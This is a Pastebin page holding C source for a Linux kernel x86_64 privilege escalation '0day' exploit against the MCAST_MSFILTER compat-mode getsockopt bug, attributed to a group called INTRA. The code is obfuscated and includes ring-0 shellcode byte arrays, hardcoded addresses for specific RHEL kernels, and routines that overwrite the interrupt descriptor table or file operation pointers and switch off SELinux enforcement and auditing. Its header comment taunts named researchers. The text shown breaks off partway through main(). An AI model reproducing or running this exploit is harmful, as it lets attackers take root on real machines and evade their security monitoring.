API tools faq
paste
Advertisement
Guest User

Untitled

a guest
May 7th, 2012
231
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.82 KB | None | 0 0
raw download clone embed print report
  1. /*
  2.  
  3. INTRA Vs Linux Kernel x86_64 0day
  4.  
  5. Today is a sad day..
  6.  
  7. R.I.P.
  8. Tue, 29 Apr 2008 / Tue, 7 Sep 2010
  9.  
  10. a bit of history:
  11. MCAST_MSFILTER Compat mode bug found... upon commit! (2 year life on this one)
  12.  
  13. author David L Stevens <dlstevens () us ibm com>
  14. Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
  15. committer David S. Miller <davem () davemloft net>
  16. Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
  17. This patch adds support for getsockopt for MCAST_MSFILTER for
  18. both IPv4 and IPv6. It depends on the previous setsockopt patch,
  19. and uses the same method.
  20.  
  21. Signed-off-by: David L Stevens <dlstevens () us ibm com>
  22. Signed-off-by: YOSHIFUJI Hideaki <yoshfuji () linux-ipv6 org>
  23. Signed-off-by: David S. Miller <davem () davemloft net>
  24. ------------------------------------------------------------
  25.  
  26. Thank you for signing-off on this one guys.
  27.  
  28. This exploit has been tested very thoroughly
  29. over the course of the past few years on many many targets.
  30.  
  31. Thanks to redhat for being nice enough to backport it into early
  32. kernel versions (anything from later August 2008+)
  33.  
  34. INTRA would like to say F*** YOU Ben Hawkes. You are a new hero! You saved the
  35. plan8 man. Just a bit too l8.
  36.  
  37. PS:
  38. OpenVZ Payload / GRsec bypass removed for kidiots and fame whores. (same thing right ;))
  39.  
  40. */
  41.  
  42. #include <poll.h>
  43. #include <string.h>
  44. #include <unistd.h>
  45. #include <sys/types.h>
  46. #include <stdlib.h>
  47. #include <sys/wait.h>
  48. #include <sys/utsname.h>
  49. #include <sys/socket.h>
  50. #include <sched.h>
  51. #include <netinet/in.h>
  52. #include <stdio.h>
  53. #include <sys/stat.h>
  54. #include <fcntl.h>
  55. #include <sys/mman.h>
  56. #include <sys/ipc.h>
  57. #include <sys/msg.h>
  58. #include <errno.h>
  59.  
  60.  
  61. #ifndef __i386__
  62. #error "r34d th3 c0d3 m0r0n!!# () #"
  63. #else
  64. #define _GNU_SOURCE
  65. #define __dgdhdytrg55 unsigned int
  66. #define __yyrhdgdtfs66ytgetrfd unsigned long long
  67. #define __dhdyetgdfstreg__ memcpy
  68.  
  69. #define VERT "\033[32m"
  70. #define NORM "\033[0m"
  71. #define BANNER VERT"INTRA "NORM"VS Linux kernel 2.6 kernel 0d4y\n"
  72.  
  73. #define KALLSYMS "/proc/kallsyms"
  74. #define TMAGIC_66TDFDRTS "/proc/timer_list"
  75. #define SELINUX_PATH "/selinux/enforce"
  76. #define RW_FOPS "timer_list_fops"
  77. #define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
  78. #define PREPARE_GGDTSGFSRFSD "prepare_creds"
  79. #define OVERRIDE_GGDTSGFSRFSD "override_creds"
  80. #define REVERT_DHDGTRRTEFDTD "revert_creds"
  81. #define Y0Y0SMAP 0x100000UL
  82. #define Y0Y0CMAP 0x200000UL
  83. #define Y0Y0STOP (Y0Y0SMAP+0xFFC)
  84. #define J0J0S 0x00200000UL
  85. #define J0J0R00T 0x002000F0UL
  86. #define PAGE_SIZE 0x1000
  87.  
  88. #define KERN_DHHDYTMLADSFPYT 0x1
  89. #define KERN_DGGDYDTEGGETFDRLAK 0x2
  90. #define KERN_HHSYPPLORQTWGFD 0x4
  91.  
  92.  
  93. #define KERN_DIS_GGDYYTDFFACVFD_IDT 0x8
  94. #define KERN_DIS_DGDGHHYTTFSR34353_FOPS 0x10
  95. #define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM 0x20
  96.  
  97. #define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX 0x40
  98.  
  99. #define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
  100.  
  101. #define TRY_REMAP_DEFAULT 1
  102.  
  103. #define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
  104. #define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
  105. #define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
  106. #define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
  107.  
  108. static char buffer[1024];
  109. static int s;
  110. static int flags=0;
  111. volatile static socklen_t magiclen=0;
  112. static int useidt=0, usefops=0, uselsm=0;
  113. static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
  114. static __dgdhdytrg55 _m_cpu_off=0;
  115. static char krelease[64];
  116. static char kversion[128];
  117.  
  118. #define R0C_0FF 14
  119. static char ttrg0ccc[]=
  120. "\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"
  121. "\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"
  122. "\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"
  123. "\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"
  124. "\xeb\xcc\x5e\x5b\x5f\x59\xc3";
  125.  
  126.  
  127. #define R0YTTTTUHLFSTT_OFF1 5
  128. #define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
  129. #define R0TDGFSRSLLSJ_SHSYSTGD 45
  130. char r1ngrrrrrrr[]=
  131. "\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"
  132. "\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42"
  133. "\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"
  134. "\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"
  135. "\xff\xd3\x5f\x5f\x5a\x5b\xc3";
  136.  
  137.  
  138. #define RJMPDDTGR_OFF 13
  139. #define RJMPDDTGR_DHDYTGSCAVSF 7
  140. #define RJMPDDTGR_GDTDGTSFRDFT 25
  141. static char ttrfd0[]=
  142. "\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
  143. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
  144. "\x58\x5f"
  145. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  146. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  147. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  148. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  149. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  150. "\xc3";
  151.  
  152.  
  153. /* implement selinux bypass for IDT ! */
  154. #define RJMPDDTGR_OFF_IDT 14
  155. #define RJMPDDTGR_DYHHTSFDARE 8
  156. #define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
  157. static char ruujhdbgatrfe345[]=
  158. "\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
  159. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
  160. "\x0f\x01\xf8"
  161. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  162. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  163. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  164. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  165. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  166. "\x48\xcf";
  167.  
  168.  
  169.  
  170. #define CJE_4554TFFDTRMAJHD_OFF 10
  171. #define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23
  172. static char dis4blens4sel1nuxhayettgdr64545[]=
  173. "\x41\x52\x50"
  174. "\xb8\x00\x00\x00\x00"
  175. "\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
  176. "\x41\x89\x02"
  177. "\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
  178. "\x41\x89\x02"
  179. "\x58\x41\x5a";
  180.  
  181.  
  182.  
  183.  
  184. /* rhel LSM stuffs */
  185. #define RHEL_LSM_OFF 98
  186.  
  187. struct LSM_rhel
  188. {
  189. __yyrhdgdtfs66ytgetrfd selinux_ops;
  190. __yyrhdgdtfs66ytgetrfd capability_ops;
  191. __yyrhdgdtfs66ytgetrfd dummy_security_ops;
  192.  
  193. __yyrhdgdtfs66ytgetrfd selinux_enforcing;
  194. __yyrhdgdtfs66ytgetrfd audit_enabled;
  195.  
  196. const char *krelease;
  197. const char *kversion;
  198.  
  199. };
  200.  
  201. struct LSM_rhel known_targets[4]=
  202. {
  203. {
  204. 0xffffffff8031e600ULL,
  205. 0xffffffff8031fec0ULL,
  206. 0xffffffff804acc00ULL,
  207.  
  208. 0xffffffff804af960ULL,
  209. 0xffffffff8049b124ULL,
  210.  
  211. "2.6.18-164.el5",
  212. "#1 SMP Thu Sep 3 03:28:30 EDT 2009" // to manage minor/bug fix changes
  213. },
  214. {
  215. 0xffffffff8031f600ULL,
  216. 0xffffffff80320ec0ULL,
  217. 0xffffffff804afc00ULL,
  218.  
  219. 0xffffffff804b2960ULL,
  220. 0xffffffff8049e124ULL,
  221.  
  222. "2.6.18-164.11.1.el5",
  223. "#1 SMP Wed Jan 6 13:26:04 EST 2010"
  224. },
  225. {
  226. 0xffffffff805296a0ULL,
  227. 0xffffffff8052af60ULL,
  228. 0xffffffff806db1e0ULL,
  229.  
  230. 0xffffffff806ddf40ULL,
  231. 0xffffffff806d5324ULL,
  232.  
  233. "2.6.18-164.11.1.el5xen",
  234. "#1 SMP Wed Jan 20 08:06:04 EST 2010" // default xen
  235. },
  236. {
  237. 0xffffffff8031f600ULL,// d selinux_ops
  238. 0xffffffff80320ec0ULL,// d capability_ops
  239. 0xffffffff804afc00ULL,// B dummy_security_ops
  240.  
  241. 0xffffffff804b2960ULL,// B selinux_enforcing
  242. 0xffffffff8049e124ULL,// B audit_enabled
  243.  
  244. "2.6.18-164.11.1.el5",
  245. "#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
  246. }
  247.  
  248. };
  249.  
  250. static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
  251.  
  252. struct socketcallAT
  253. {
  254. int s;
  255. int level;
  256. int optname;
  257. void *optval;
  258. volatile socklen_t *optlen;
  259. }__attribute__((packed));
  260.  
  261. struct idt64from32_s
  262. {
  263. unsigned short limit;
  264. unsigned long base;
  265. }__attribute__((packed));
  266.  
  267. static __yyrhdgdtfs66ytgetrfd getidt()
  268. {
  269. struct idt64from32_s idt;
  270. memset(&idt, 0x00, sizeof(struct idt64from32_s));
  271. asm volatile("sidt %0" : "=m"(idt));
  272. return idt.base | 0xFFFFFFFF00000000ULL;
  273. }
  274.  
  275.  
  276. static int isSelinuxEnabled()
  277. {
  278. FILE *selinux_f;
  279. selinux_f = fopen(SELINUX_PATH, "r");
  280. if(selinux_f == NULL)
  281. {
  282. if(errno == EPERM)
  283. return 1;
  284. else
  285. return 0;
  286. }
  287.  
  288. fclose(selinux_f);
  289. return 1;
  290. }
  291.  
  292. static int wtfyourunhere_heee(char *out_release, char* out_version)
  293. {
  294. int ret; const char*ptr;
  295. int count=0;
  296. char r[32], *bptr;
  297. struct utsname buf;
  298. ret = uname(&buf);
  299.  
  300. if(ret < 0)
  301. return -1;
  302.  
  303. strcpy(out_release, buf.release);
  304. strcpy(out_version, buf.version);
  305.  
  306. ptr = buf.release;
  307. bptr = r;
  308. memset(r, 0x00, sizeof(r));
  309. while(*ptr)
  310. {
  311. if(count == 2)
  312. {
  313. if(*ptr >= '0' && *ptr <= '9')
  314. *bptr++ = *ptr;
  315. else
  316. break;
  317. }
  318.  
  319. if(*ptr == '.')
  320. count++;
  321. ptr++;
  322. }
  323.  
  324. if(strlen(r) < 1 || !atoi(r))
  325. return -1;
  326.  
  327. return atoi(r);
  328. }
  329.  
  330.  
  331. static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
  332. {
  333. *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
  334. *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
  335. __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
  336. __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
  337. }
  338.  
  339.  
  340. static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)
  341. {
  342. FILE *ka;
  343. char line[512];
  344. char reloc_a[64];
  345. char reloc[64];
  346.  
  347. if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag)
  348. return 0;
  349.  
  350. ka = fopen(filename, "r");
  351. if(!ka)
  352. return 0;
  353.  
  354. while(fgets(line, 512, ka) != NULL)
  355. {
  356. char *l_p = line;
  357. char *ra_p = reloc_a;
  358. char *r_p = reloc;
  359. memset(reloc, 0x00, sizeof(reloc));
  360. memset(reloc_a, 0x00, sizeof(reloc_a));
  361. while(*l_p != ' ' && (ra_p - reloc_a) < 64)
  362. *ra_p++ = *l_p++;
  363. l_p += 3;
  364. while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
  365. *r_p++ = *l_p++;
  366.  
  367. if(!strcmp(reloc, s))
  368. {
  369. __gggdfstsgdt_dddex("$$$ %s->%s\n", s, reloc_a);
  370. return strtoull(reloc_a, NULL, 16);
  371. }
  372. }
  373.  
  374. return 0;
  375. }
  376.  
  377.  
  378. static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
  379. {
  380. return get_sym_ex(s, KALLSYMS, 0);
  381. }
  382.  
  383. static int parse_cred(const char* val)
  384. {
  385. int i=0;
  386. const char* p = val;
  387. char local[64], *l;
  388. for(i=0; i<3; i++)
  389. {
  390. memset(local, 0x00, sizeof(local));
  391. l = local;
  392. while(*p && *p != ',')
  393. *l++ = *p++;
  394.  
  395. if(!(*p) && i != 2)
  396. return -1;
  397.  
  398. _m_cred[i] = strtoull(local, NULL, 16);
  399. p++;
  400. }
  401.  
  402. return 0;
  403. }
  404.  
  405.  
  406. #define SELINUX_OPS "selinux_ops"
  407. #define DUMMY_SECURITY_OPS "dummy_security_ops"
  408. #define CAPABILITY_OPS "capability_ops"
  409. #define SELINUX_ENFORCING "selinux_enforcing"
  410. #define AUDIT_ENABLED "audit_enabled"
  411.  
  412. struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
  413. {
  414. int i;
  415. char mapbuf[128];
  416. struct LSM_rhel *lsm = &(known_targets[0]);
  417.  
  418. if(check_rhel && !isRHHGDPPLADSF(krelease))
  419. {
  420. __pppp_tegddewyfg("!!! N0t a RH3l k3rn3l \n");
  421. return NULL;
  422. }
  423.  
  424. __pppp_tegddewyfg("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n");
  425. for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
  426. {
  427. if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
  428. {
  429. __gggdfstsgdt_dddex("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion);
  430. return lsm;
  431. }
  432. }
  433.  
  434. __pppp_tegddewyfg("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n");
  435. strcpy(mapbuf, "/boot/System.map-");
  436. strcat(mapbuf, krelease);
  437.  
  438. dyn4nt4n1labeggeyrthryt.selinux_ops = get_sym_ex(SELINUX_OPS, mapbuf, 1);
  439. dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
  440. dyn4nt4n1labeggeyrthryt.capability_ops = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
  441. dyn4nt4n1labeggeyrthryt.selinux_enforcing = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
  442. dyn4nt4n1labeggeyrthryt.audit_enabled = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
  443.  
  444.  
  445. if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
  446. !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
  447. !dyn4nt4n1labeggeyrthryt.capability_ops ||
  448. !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
  449. !dyn4nt4n1labeggeyrthryt.audit_enabled)
  450. return NULL;
  451.  
  452.  
  453. return &dyn4nt4n1labeggeyrthryt;
  454. }
  455.  
  456. static void put_your_hands_up_hooker(int argc, char *argv[])
  457. {
  458. int fd,ver,ret;
  459. char __b[16];
  460.  
  461.  
  462. fd = open(KALLSYMS, O_RDONLY);
  463. ret = read(fd, __b, 16); // dummy read
  464. if((fd >= 0 && ret > 0))
  465. {
  466. __pppp_tegddewyfg("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0
  467. flags |= KERN_HHSYPPLORQTWGFD;
  468. }
  469. close(fd);
  470.  
  471. ver = wtfyourunhere_heee(krelease, kversion);
  472. if(ver < 0)
  473. __yyy_tegdtfsrer("!!! Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n");
  474.  
  475. __gggdfstsgdt_dddex("$$$ K3rn3l r3l3as3: %s\n", krelease);
  476.  
  477.  
  478. if(argc != 1)
  479. {
  480. while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0)
  481. {
  482. switch(ret)
  483. {
  484. case 'i':
  485. flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
  486. useidt=1; // u have to use -i to force IDT Vector
  487. break;
  488.  
  489. case 'f':
  490. flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
  491. break;
  492.  
  493. case 'l':
  494. flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
  495. break;
  496.  
  497. case 'c':
  498. if(!optarg || parse_cred(optarg) < 0)
  499. __yyy_tegdtfsrer("!!! Un4bl3 t0 p4s3 cr3d c0d3z\n");
  500. break;
  501.  
  502. case 'k':
  503. if(optarg)
  504. _m_fops = strtoull(optarg, NULL, 16);
  505. else
  506. __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0P numb3rs\n");
  507. break;
  508.  
  509. case 's':
  510. if(!isSelinuxEnabled())
  511. __pppp_tegddewyfg("??? wh4t th3 fuq s3l1nux 1z n0t 3v3n 3n4bl3d!?\n");
  512. else
  513. flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  514. break;
  515.  
  516. case 'o':
  517. if(optarg)
  518. _m_cpu_off = strtoull(optarg, NULL, 16);
  519. else
  520. __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0p c0mput3r numb3rs\n");
  521. break;
  522. }
  523. }
  524. }
  525.  
  526.  
  527. if(ver >= 29) // needs cred structure
  528. {
  529. flags |= KERN_DGGDYDTEGGETFDRLAK;
  530.  
  531. if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
  532. {
  533. _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
  534. _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);
  535. _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
  536. }
  537.  
  538. if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
  539. {
  540. __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
  541. }
  542.  
  543. __pppp_tegddewyfg("$$$ Kernel Credentials detected\n");
  544. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
  545. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
  546. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
  547. }
  548.  
  549. if(ver >= 30) // needs cpu offset
  550. {
  551. flags |= KERN_DHHDYTMLADSFPYT;
  552. if(!_m_cpu_off)
  553. _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
  554.  
  555. if(!_m_cpu_off)
  556. __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
  557.  
  558. __pppp_tegddewyfg("$$$ K3rn3l per_cpu r3l0cs 3n4bl3d!\t\n");
  559. *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
  560. *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
  561. }
  562. }
  563.  
  564.  
  565. static void env_prepare(int argc, char* argv[])
  566. {
  567.  
  568. put_your_hands_up_hooker(argc, argv);
  569.  
  570. if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS)) // try fops
  571. {
  572. __pppp_tegddewyfg("??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d\n");
  573. if(!_m_fops)
  574. _m_fops = get_sym(RW_FOPS);
  575.  
  576. /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
  577. * Thanks to the guy who killed this vector... you know who you are:)
  578. * Lucky for you, there are more:)
  579. */
  580.  
  581. if(_m_fops)
  582. {
  583. usefops=1;
  584. __pppp_tegddewyfg("$$$ w34p0n 0f ch01c3: F0PZzZzzz\n");
  585. }
  586. }
  587.  
  588.  
  589. if(!usefops && !(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
  590. {
  591. curr_target = lsm_rhel_find_target(1);
  592. if(!curr_target)
  593. {
  594. __pppp_tegddewyfg("!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!\n");
  595. }
  596. else
  597. uselsm=1;
  598. }
  599.  
  600.  
  601. if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  602. {
  603. // -i flag
  604. curr_target = lsm_rhel_find_target(0);
  605. if(!curr_target)
  606. {
  607. __pppp_tegddewyfg("!!! Un4lb3 t0 f1nd t4rg3t: c0ntinu3 w1th0ut s3linsux d1s4bl3.\n");
  608. /* remove Selinux Flag */
  609. flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  610. }
  611. }
  612.  
  613.  
  614. if(!usefops && !useidt && !uselsm)
  615. __yyy_tegdtfsrer("!!! 3v3ryth3ng f41l3d!!*@&^@&*^ () * try an0th3r 0d4y L0l\n");
  616. }
  617.  
  618.  
  619. static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
  620. {
  621. int socklen_l = 8 + stack - addr - 16;
  622. return socklen_l;
  623. }
  624.  
  625. static struct socketcallAT at;
  626. static __dgdhdytrg55 idtover[4] =
  627. {0x00100000UL,
  628. 0x0020ee00UL,
  629. 0x00000000UL,
  630. 0x00000000UL};
  631.  
  632.  
  633. static void fillsocketcallAT()
  634. {
  635. at.s = s;
  636. at.level = SOL_IP;
  637. at.optname = MCAST_MSFILTER;
  638. at.optval = buffer;
  639. at.optlen = &magiclen;
  640. }
  641.  
  642.  
  643. static void bitch_call(struct socketcallAT *at, void *stack)
  644. {
  645. asm volatile(
  646. "push %%ebx\t\n"
  647. "push %%esi\t\n"
  648. "push %%ecx\t\n"
  649. "push %%edx\t\n"
  650. "movl $0x66, %%eax\t\n"
  651. "movl $0xf, %%ebx\t\n"
  652. "movl %%esp, %%esi\t\n"
  653. "movl %0, %%ecx\t\n"
  654. "movl %1, %%esp\t\n"
  655. "int $0x80\t\n"
  656. "movl %%esi, %%esp\t\n"
  657. "pop %%edx\t\n"
  658. "pop %%ecx\t\n"
  659. "pop %%esi\t\n"
  660. "pop %%ebx\t\n"
  661. : : "r"(at), "r"(stack) : "memory", "eax", "ecx", "ebx", "esi"
  662. );
  663. }
  664.  
  665. static void __setmcbuffer(__dgdhdytrg55 value)
  666. {
  667. int i;
  668. __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
  669. for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
  670. *(p+i) = value;
  671. }
  672.  
  673. static void idt_smash(__yyrhdgdtfs66ytgetrfd idtbase)
  674. {
  675. int i;
  676. __dgdhdytrg55 curr;
  677. for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
  678. {
  679. curr = idtover[i];
  680. __setmcbuffer(curr);
  681. magiclen = get_socklen(idtbase + (i*4), Y0Y0STOP);
  682. bitch_call(&at, (void*)Y0Y0STOP);
  683. }
  684. }
  685.  
  686.  
  687. static void y0y0stack()
  688. {
  689. void* map = mmap((void*)Y0Y0SMAP,
  690. PAGE_SIZE,
  691. PROT_READ|PROT_WRITE,
  692. MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
  693. -1,0);
  694. if(MAP_FAILED == map)
  695. __xxxfdgftr_hshsgdt("mmap");
  696. }
  697.  
  698. static void y0y0code()
  699. {
  700. void* map = mmap((void*)Y0Y0CMAP,
  701. PAGE_SIZE,
  702.  
  703. #ifdef TRY_REMAP_DEFAULT
  704. PROT_READ|PROT_WRITE,
  705. #else
  706. PROT_READ|PROT_WRITE|PROT_EXEC,
  707. #endif
  708. MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
  709. -1,0);
  710. if(MAP_FAILED == map)
  711. __xxxfdgftr_hshsgdt("mmap");
  712.  
  713. }
  714.  
  715.  
  716. static int rey0y0code(unsigned long old)
  717. {
  718. int fd;
  719. void *map;
  720. volatile char wizard;
  721. char cwd[1024];
  722.  
  723. getcwd(cwd, sizeof(cwd));
  724. strcat(cwd, "/__tmpfile");
  725.  
  726. unlink(cwd);
  727. fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
  728. if(fd < 0)
  729. return -1;
  730.  
  731. write(fd, (const void*)old, PAGE_SIZE);
  732. if(munmap((void*)old, PAGE_SIZE) < 0)
  733. return -1;
  734.  
  735. map = mmap((void*)old,
  736. PAGE_SIZE,
  737. PROT_READ|PROT_EXEC,
  738. MAP_PRIVATE|MAP_FIXED,
  739. fd,0);
  740. if(map == MAP_FAILED)
  741. return -1;
  742.  
  743. /* avoid lazy page fault handler
  744. * Triple Fault when using idt vector
  745. * and no pages are already mapped:)
  746. */
  747.  
  748. wizard = *((char*)old);
  749. unlink(cwd);
  750. return wizard;
  751. }
  752.  
  753.  
  754. int main(int argc, char*argv[])
  755. {
  756. int uid,fd;
  757. __yyrhdgdtfs66ytgetrfd *patch, idtb;
  758. struct pollfd pfd;
  759.  
  760.  
  761. printf(BANNER);
  762.  
  763. uid = getuid();
  764.  
  765. env_prepare(argc, argv);
  766.  
  767. y0y0stack();
  768. y0y0code();
  769.  
  770. if(useidt)
  771. {
  772. idtb = getidt();
  773. __gggdfstsgdt_dddex("$$$ h0m3 b4s3 addr3ss: %llx\n", idtb);
  774. __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n");
  775. patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
  776. *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  777.  
  778. __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
  779.  
  780. if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
  781. {
  782. __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
  783. p4tch_sel1nux_codztegfaddczda(curr_target);
  784. }
  785.  
  786. __dhdyetgdfstreg__((void*)J0J0S, ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
  787. }
  788. else if(usefops || uselsm)
  789. {
  790. __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n");
  791. patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
  792. *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  793.  
  794. __setmcbuffer(J0J0S);
  795.  
  796. __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
  797. if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  798. {
  799. __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
  800. p4tch_sel1nux_codztegfaddczda(curr_target);
  801. }
  802. __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
  803. }
  804.  
  805.  
  806.  
  807. /* set shellcode level 2 */
  808. if(flags & KERN_DGGDYDTEGGETFDRLAK)
  809. {
  810. __pppp_tegddewyfg("$$$ Us1ng cr3d s3ash3llc0d3z\n");
